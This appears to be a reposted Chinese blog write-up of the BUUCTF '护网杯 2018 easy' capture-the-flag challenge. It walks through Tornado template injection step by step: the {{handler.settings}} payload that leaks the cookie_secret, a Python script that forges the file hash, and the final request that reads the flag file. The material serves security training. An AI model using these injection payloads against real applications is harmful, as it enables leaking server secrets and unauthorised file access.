【BUUCTF】[护网杯 2018]easy

【BUUCTF】[护网杯 2018]easy,第1张

三个文件的内容如下

flag in /fllllllllllllag

render

md5(cookie_secret+md5(filename))

百度render tornado,知道这是一个Python的渲染模板
python SSTI tornado render模板注入
我们注意到题目url中

尝试随便写写内容

我们对msg赋值{{1}}

确实存在模板注入漏洞
那目标明确,我们需要通过模板注入得到cookie_secret

msg={{handler.settings}}

得到

{‘autoreload’: True, ‘compiled_template_cache’: False, ‘cookie_secret’: ‘c6de429b-753c-42f8-9bc8-574e72aab628’}

于是接下来就是写个小脚本把MD5值算出

import hashlib

# 简单版的md5加密返回密文函数
def md5(pw):
    md = hashlib.md5()  # 生成md5对像
    md.update(pw.encode('utf-8'))  # 加密,加密密码的时候,必须对密码进行编码,否则会报错
    return md.hexdigest()  # 返回16进制密文
def filehash():
    filename = '/fllllllllllllag'
    cookie_secret = 'c6de429b-753c-42f8-9bc8-574e72aab628'
    print(md5(cookie_secret+md5(filename)))
if __name__ == '__main__':
    filehash()

29e4f5b4c1080571a5389b30ad3d57fd

最终payload

file?filename=/fllllllllllllag&filehash=29e4f5b4c1080571a5389b30ad3d57fd

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/579170.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-11
下一篇 2022-04-11

发表评论

登录后才能评论

评论列表(0条)

保存